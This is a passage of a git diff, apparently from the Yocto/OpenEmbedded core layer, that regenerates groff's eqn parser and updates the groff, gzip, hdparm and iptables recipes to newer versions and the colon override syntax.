-+#line 304 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].col)->set_space((yyvsp[-3].n)); (yyval.col) = (yyvsp[-1].col); }
--#line 1874 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1889 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 67:
--#line 305 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 309 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1880 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1895 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 68:
--#line 307 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 311 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(LEFT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1886 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1901 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 69:
--#line 309 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 313 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(RIGHT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1892 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1907 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 70:
--#line 311 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 315 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1898 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1913 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 71:
--#line 315 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 319 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1904 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1919 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 72:
--#line 317 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 321 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1910 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1925 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 73:
--#line 322 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 326 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1916 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1931 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 74:
--#line 324 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 328 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("{"); }
--#line 1922 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1937 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 75:
--#line 326 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 330 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("}"); }
--#line 1928 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1943 "src/preproc/eqn/eqn.cpp"
- break;
-
-
--#line 1932 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1947 "src/preproc/eqn/eqn.cpp"
-+
- default: break;
- }
- /* User semantic actions sometimes alter yychar, and that requires
-@@ -2042,12 +2058,10 @@ yyerrlab:
- | yyerrorlab -- error raised explicitly by YYERROR. |
- `---------------------------------------------------*/
- yyerrorlab:
--
-- /* Pacify compilers like GCC when the user code never invokes
-- YYERROR and the label yyerrorlab therefore never appears in user
-- code. */
-- if (/*CONSTCOND*/ 0)
-- goto yyerrorlab;
-+ /* Pacify compilers when the user code never invokes YYERROR and the
-+ label yyerrorlab therefore never appears in user code. */
-+ if (0)
-+ YYERROR;
-
- /* Do not reclaim the symbols of the rule whose action triggered
- this YYERROR. */
-@@ -2109,6 +2123,7 @@ yyacceptlab:
- yyresult = 0;
- goto yyreturn;
-
-+
- /*-----------------------------------.
- | yyabortlab -- YYABORT comes here. |
- `-----------------------------------*/
-@@ -2116,6 +2131,7 @@ yyabortlab:
- yyresult = 1;
- goto yyreturn;
-
-+
- #if !defined yyoverflow || YYERROR_VERBOSE
- /*-------------------------------------------------.
- | yyexhaustedlab -- memory exhaustion comes here. |
-@@ -2126,6 +2142,10 @@ yyexhaustedlab:
- /* Fall through. */
- #endif
-
-+
-+/*-----------------------------------------------------.
-+| yyreturn -- parsing is finished, return the result. |
-+`-----------------------------------------------------*/
- yyreturn:
- if (yychar != YYEMPTY)
- {
-@@ -2155,5 +2175,5 @@ yyreturn:
- #endif
- return yyresult;
- }
--#line 329 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1903 */
-+#line 333 "src/preproc/eqn/eqn.ypp"
-
-diff --git a/src/preproc/eqn/eqn.hpp b/src/preproc/eqn/eqn.hpp
-index 32a32a5..9a092c1 100644
---- a/src/preproc/eqn/eqn.hpp
-+++ b/src/preproc/eqn/eqn.hpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison interface for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -170,10 +171,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1906 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -182,9 +182,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 186 "src/preproc/eqn/eqn.hpp" /* yacc.c:1906 */
--};
-+#line 186 "src/preproc/eqn/eqn.hpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp
index fb318c3..b7b647e 100644
--- a/src/preproc/eqn/eqn.ypp
diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.22.4.bb
index e398478349..d0b543ab6e 100644
--- a/meta/recipes-extended/groff/groff_1.22.4.bb
+++ b/meta/recipes-extended/groff/groff_1.22.4.bb
@@ -18,8 +18,11 @@ SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f"
SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293"
+# Remove at the next upgrade
+PR = "r1"
+
DEPENDS = "bison-native"
-RDEPENDS_${PN} += "perl sed"
+RDEPENDS:${PN} += "perl sed"
inherit autotools-brokensep texinfo multilib_script pkgconfig
@@ -28,9 +31,16 @@ MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bind
EXTRA_OECONF = "--without-x --without-doc"
PARALLEL_MAKE = ""
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
+
+# Delete these generated files since we depend on bison-native
+# and regenerate them. Do it deterministically (always).
+do_configure:prepend() {
+ rm -f ${S}/src/preproc/eqn/eqn.cpp
+ rm -f ${S}/src/preproc/eqn/eqn.hpp
+}
-do_install_append() {
+do_install:append() {
# Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
# for target as /usr/bin/perl, so fix it to /usr/bin/perl.
for i in afmtodit mmroff gropdf pdfmom grog; do
@@ -52,15 +62,19 @@ do_install_append() {
rm -rf ${D}${bindir}/glilypond
rm -rf ${D}${libdir}/groff/glilypond
rm -rf ${D}${mandir}/man1/glilypond*
+
+ # not ship /usr/bin/grap2graph and its releated man files
+ rm -rf ${D}${bindir}/grap2graph
+ rm -rf ${D}${mandir}/man1/grap2graph*
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_cmdline_wrapper ${D}/${bindir}/groff \
-F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
-M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
}
-FILES_${PN} += "${libdir}/${BPN}/site-tmac \
+FILES:${PN} += "${libdir}/${BPN}/site-tmac \
${libdir}/${BPN}/groffer/"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch
index 7c37bc8d2d..7c37bc8d2d 100644
--- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..15fd665ac8 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -8,10 +8,10 @@ SECTION = "console/utils"
inherit autotools texinfo
export DEFS="NO_ASM"
-EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep"
-EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes "
+EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
+EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
-do_install_append () {
+do_install:append () {
if [ "${base_bindir}" != "${bindir}" ]; then
# Rename and move files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
@@ -25,7 +25,7 @@ do_install_append () {
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.10.bb
deleted file mode 100644
index 9778e687e1..0000000000
--- a/meta/recipes-extended/gzip/gzip_1.10.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-require gzip.inc
-
-LICENSE = "GPLv3+"
-
-SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
- file://run-ptest \
- "
-SRC_URI_append_class-target = " file://wrong-path-fix.patch"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
-
-PROVIDES_append_class-native = " gzip-replacement-native"
-
-RDEPENDS_${PN}-ptest += "make perl grep diffutils"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit ptest
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/src/build-aux
- cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
- mkdir -p ${D}${PTEST_PATH}/src/tests
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
- sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
- -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
- -e 's/^GREP = ..*/GREP = grep/' \
- -e 's/^AWK = ..*/AWK = awk/' \
- -e 's/^srcdir = ..*/srcdir = \./' \
- -e 's/^Makefile: ..*/Makefile: /' \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
-}
-
-SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20"
-SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68"
diff --git a/meta/recipes-extended/gzip/gzip_1.11.bb b/meta/recipes-extended/gzip/gzip_1.11.bb
new file mode 100644
index 0000000000..eb3054cc48
--- /dev/null
+++ b/meta/recipes-extended/gzip/gzip_1.11.bb
@@ -0,0 +1,39 @@
+require gzip.inc
+
+LICENSE = "GPLv3+"
+
+SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI:append:class-target = " file://wrong-path-fix.patch"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
+
+PROVIDES:append:class-native = " gzip-replacement-native"
+
+RDEPENDS:${PN}-ptest += "make perl grep diffutils"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/src/build-aux
+ cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
+ mkdir -p ${D}${PTEST_PATH}/src/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
+ sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
+ -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
+ -e 's/^GREP = ..*/GREP = grep/' \
+ -e 's/^AWK = ..*/AWK = awk/' \
+ -e 's/^srcdir = ..*/srcdir = \./' \
+ -e 's/^Makefile: ..*/Makefile: /' \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
+}
+
+SRC_URI[sha256sum] = "3e8a0e0c45bad3009341dce17d71536c4c655d9313039021ce7554a26cd50ed9"
diff --git a/meta/recipes-extended/hdparm/hdparm_9.58.bb b/meta/recipes-extended/hdparm/hdparm_9.58.bb
deleted file mode 100644
index e47dedae89..0000000000
--- a/meta/recipes-extended/hdparm/hdparm_9.58.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
-HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
-DESCRIPTION = "hdparm is a Linux shell utility for viewing \
-and manipulating various IDE drive and driver parameters."
-SECTION = "console/utils"
-
-LICENSE = "BSD & GPLv2"
-LICENSE_${PN} = "BSD"
-LICENSE_${PN}-dbg = "BSD"
-LICENSE_wiper = "GPLv2"
-
-LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
- file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
- file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
- file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
-
-
-PACKAGES =+ "wiper"
-
-FILES_wiper = "${bindir}/wiper.sh"
-
-RDEPENDS_wiper = "bash gawk coreutils"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
- file://wiper.sh-fix-stat-path.patch \
- "
-
-SRC_URI[md5sum] = "4652c49cf096a64683c05f54b4fa4679"
-SRC_URI[sha256sum] = "9ae78e883f3ce071d32ee0f1b9a2845a634fc4dd94a434e653fdbef551c5e10f"
-
-EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "hdparm"
-ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install () {
- install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
- oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
- cp ${S}/wiper/wiper.sh ${D}/${bindir}
-}
diff --git a/meta/recipes-extended/hdparm/hdparm_9.62.bb b/meta/recipes-extended/hdparm/hdparm_9.62.bb
new file mode 100644
index 0000000000..61bb44ff38
--- /dev/null
+++ b/meta/recipes-extended/hdparm/hdparm_9.62.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
+HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
+DESCRIPTION = "hdparm is a Linux shell utility for viewing \
+and manipulating various IDE drive and driver parameters."
+SECTION = "console/utils"
+
+LICENSE = "BSD-2-Clause & GPLv2 & hdparm"
+LICENSE:${PN} = "BSD-2-Clause & hdparm"
+LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
+LICENSE:wiper = "GPLv2"
+NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
+ file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
+ file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
+
+
+PACKAGES =+ "wiper"
+
+FILES:wiper = "${bindir}/wiper.sh"
+
+RDEPENDS:wiper = "bash gawk coreutils"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
+ file://wiper.sh-fix-stat-path.patch \
+ "
+
+SRC_URI[sha256sum] = "2c0f9d75cdbeda928a25a128cd3d0b7120445ec0910c0b29d4c1038ed1be777f"
+
+EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "hdparm"
+ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install () {
+ install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
+ oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
+ cp ${S}/wiper/wiper.sh ${D}/${bindir}
+}
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index 4d16da1ea8..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
"
# We need extra space for things like kernel builds, etc.
-IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000"
+IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
# Let's define our own subset to test, we can later add a on-target kernel build even!
DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
diff --git a/meta/recipes-extended/iptables/iptables_1.8.6.bb b/meta/recipes-extended/iptables/iptables_1.8.6.bb
deleted file mode 100644
index 9c15b0bc9d..0000000000
--- a/meta/recipes-extended/iptables/iptables_1.8.6.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "Tools for managing kernel packet filtering capabilities"
-DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
-filtering code in Linux."
-HOMEPAGE = "http://www.netfilter.org/"
-BUGTRACKER = "http://bugzilla.netfilter.org/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
-"
-
-SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
- file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
- file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
- file://iptables.service \
- file://iptables.rules \
- file://ip6tables.service \
- file://ip6tables.rules \
- "
-SRC_URI[sha256sum] = "a0f4fe0c3eb8faa5bd9c8376d132f340b9558e750c91deb2d5028aa3d0047767"
-
-SYSTEMD_SERVICE_${PN} = "\
- iptables.service \
- ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
-"
-
-inherit autotools pkgconfig systemd
-
-EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-# libnfnetlink recipe is in meta-networking layer
-PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
-
-# libnftnl recipe is in meta-networking layer(previously known as libnftables)
-PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
-
-do_configure_prepend() {
- # Remove some libtool m4 files
- # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
- rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
-}
-
-IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
-
-do_install_append() {
- install -d ${D}${IPTABLES_RULES_DIR}
- install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
-
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
-
- sed -i \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
- ${D}${systemd_system_unitdir}/iptables.service
-
- if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
- install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
- install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
-
- sed -i \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
- ${D}${systemd_system_unitdir}/ip6tables.service
- fi
-}
-
-PACKAGES =+ "${PN}-modules ${PN}-apply"
-PACKAGES_DYNAMIC += "^${PN}-module-.*"
-
-python populate_packages_prepend() {
- modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
- if modules:
- metapkg = d.getVar('PN') + '-modules'
- d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules))
-}
-
-RDEPENDS_${PN} = "${PN}-module-xt-standard"
-RRECOMMENDS_${PN} = " \
- ${PN}-modules \
- kernel-module-x-tables \
- kernel-module-ip-tables \
- kernel-module-iptable-filter \
- kernel-module-iptable-nat \
- kernel-module-nf-defrag-ipv4 \
- kernel-module-nf-conntrack \
- kernel-module-nf-conntrack-ipv4 \
- kernel-module-nf-nat \
- kernel-module-ipt-masquerade \
- ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
- kernel-module-ip6table-filter \
- kernel-module-ip6-tables \
- ', '', d)} \
-"
-
-FILES_${PN} += "${datadir}/xtables"
-
-FILES_${PN}-apply = "${sbindir}/ip*-apply"
-RDEPENDS_${PN}-apply = "${PN} bash"
-
-# Include the symlinks as well in respective packages
-FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
-FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
-
-ALLOW_EMPTY_${PN}-modules = "1"
-
-INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so"
-INSANE_SKIP_${PN}-module-xt-ct = "dev-so"
diff --git a/meta/recipes-extended/iptables/iptables_1.8.7.bb b/meta/recipes-extended/iptables/iptables_1.8.7.bb
new file mode 100644
index 0000000000..93af96b77d
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables_1.8.7.bb
@@ -0,0 +1,110 @@
+SUMMARY = "Tools for managing kernel packet filtering capabilities"
+DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
+filtering code in Linux."
+HOMEPAGE = "http://www.netfilter.org/"
+BUGTRACKER = "http://bugzilla.netfilter.org/"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
+"
+
+SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
+ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
+ file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
+ file://iptables.service \
+ file://iptables.rules \
+ file://ip6tables.service \
+ file://ip6tables.rules \
+ "
+SRC_URI[sha256sum] = "c109c96bb04998cd44156622d36f8e04b140701ec60531a10668cfdff5e8d8f0"
+
+SYSTEMD_SERVICE:${PN} = "\
+ iptables.service \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
+"
+
+inherit autotools pkgconfig systemd
+
+EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+# libnfnetlink recipe is in meta-networking layer
+PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
+
+# libnftnl recipe is in meta-networking layer(previously known as libnftables)
+PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
+
+do_configure:prepend() {
+ # Remove some libtool m4 files
+ # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
+ rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
+}
+
+IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
+
+do_install:append() {
+ install -d ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/iptables.service
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
+ install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/ip6tables.service
+ fi
+}
+
+PACKAGES =+ "${PN}-modules ${PN}-apply"
+PACKAGES_DYNAMIC += "^${PN}-module-.*"
+
+python populate_packages:prepend() {
+ modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
+ if modules:
+ metapkg = d.getVar('PN') + '-modules'
+ d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
+}
+
+RDEPENDS:${PN} = "${PN}-module-xt-standard"
+RRECOMMENDS:${PN} = " \
+ ${PN}-modules \
+ kernel-module-x-tables \
+ kernel-module-ip-tables \
+ kernel-module-iptable-filter \
+ kernel-module-iptable-nat \
+ kernel-module-nf-defrag-ipv4 \
+ kernel-module-nf-conntrack \
+ kernel-module-nf-conntrack-ipv4 \
+ kernel-module-nf-nat \
+ kernel-module-ipt-masquerade \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
+ kernel-module-ip6table-filter \
+ kernel-module-ip6-tables \
+ ', '', d)} \
+"
+
+FILES:${PN} += "${datadir}/xtables"
+
+FILES:${PN}-apply = "${sbindir}/ip*-apply"
+RDEPENDS:${PN}-apply = "${PN} bash"
+
+# Include the symlinks as well in respective packages
+FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
+FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
+
+ALLOW_EMPTY:${PN}-modules = "1"
+
+INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
+INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils/0001-meson-Make-tests-optional.patch b/meta/recipes-extended/iputils/iputils/0001-meson-Make-tests-optional.patch
new file mode 100644
index 0000000000..9f17cbdb87
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils/0001-meson-Make-tests-optional.patch
@@ -0,0 +1,220 @@
